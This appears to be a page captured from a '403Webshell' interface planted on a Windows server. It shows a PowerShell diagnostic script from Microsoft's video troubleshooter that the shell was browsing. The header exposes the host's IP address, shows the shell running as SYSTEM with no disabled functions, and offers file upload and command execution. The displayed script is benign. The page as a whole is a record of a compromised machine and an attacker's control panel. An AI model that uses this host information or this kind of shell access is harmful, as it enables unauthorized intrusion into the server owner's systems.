403Webshell
Server IP : 123.56.80.60  /  Your IP : 216.73.216.33
Web Server : Apache/2.4.54 (Win32) OpenSSL/1.1.1s PHP/7.4.33 mod_fcgid/2.3.10-dev
System : Windows NT iZhx3sob14hnz7Z 10.0 build 14393 (Windows Server 2016) i586
User : SYSTEM ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Windows/diagnostics/system/Video/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Windows/diagnostics/system/Video/TS_Main.ps1

# Copyright © 2013, Microsoft Corporation. All rights reserved.
# ============================================================= 

#.... Load Utilities

. ./utils_SetupEnv.ps1
#. ./CL_MutexVerifiers.ps1

#CreateUniqueGlobalFileName("VideoDRMTS")

Import-LocalizedData -BindingVariable localizationString -FileName CL_LocalizationData

function ispostbackOnWin8($packName)
{
	[string] $path1 = (Get-Location -PSProvider FileSystem).ProviderPath
	[string] $path1 = join-path  $path1  "\$packName"
	if(test-path $path1){
		# del $path1 -force
		# the file is already so this must be detecting additional problem
		return $true
	}
	"once" > $path1 
	return $false
}

############## MAIN ##############

##string showing###
#get-diaginput -id "INT_unsigned" -parameter @{'DriverName' = "name" ; 'DriverVersion' = "Version"}
#get-diaginput -id "INT_unsigned" -parameter @{'DriverName' = "name" ; 'DriverVersion' = "Version"}
############end#####################
<#
$ver = [Microsoft.Win32.Registry]::GetValue("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion", "CurrentVersion", "")
if(($ver -lt 6.2))
{
	get-diaginput -id "INT_OSVersion_NotSupported" 
	$Strings_TS_Main.ID_UNSUPPORTED_OS | ConvertTo-Xml |update-diagreport  -id "TS-Main" -name "Troubleshooter Result"
	return
}

if($ver -ge 6.2) #win 8, 8.1
{
	if(ispostbackOnWin8 "VideoDRM")
	{
		return
	}
} 
#>

# Determine the version of OS. Block the pack from running on Windows older than Win8
#====================================================================================
# Operating system               Version Number
# ---------------------------------------------
# Windows 10                     10.0
# Windows 8.1                    6.3
# Windows Server 2012 R2         6.3
# Windows 8                      6.2
# Windows Server 2012            6.2
# Windows 7                      6.1
# Windows Server 2008 R2         6.1
# Windows Server 2008            6.0
# Windows Vista                  6.0
# Windows Server 2003 R2         5.2
# Windows Server 2003            5.2
# Windows XP 64-Bit Edition      5.2
# Windows XP                     5.1
# Windows 2000                   5.0 

$temp = (Get-WmiObject -Class Win32_OperatingSystem).Version.Split(".")
$OSVersion = ($temp[0] + "." + $temp[1])
if([Float]$OSVersion -lt [Float](6.2))
{
	get-diaginput -id "INT_OSVersion_NotSupported" 
	$localizationString.ID_UNSUPPORTED_OS | ConvertTo-Xml |update-diagreport  -id "TS-Main" -name "Troubleshooter Result"
	return
}

if([Float]$OSVersion -ge [Float](6.2))
{
	if(ispostbackOnWin8 "VideoDRM")
	{
		return
	}
}

.\RC_viddrv_unsigned.ps1 
.\RC_viddrv_msvideo.ps1
.\RC_aud_reg_settings.ps1
			

Youez - 2016 - github.com/yon3zu
LinuXploit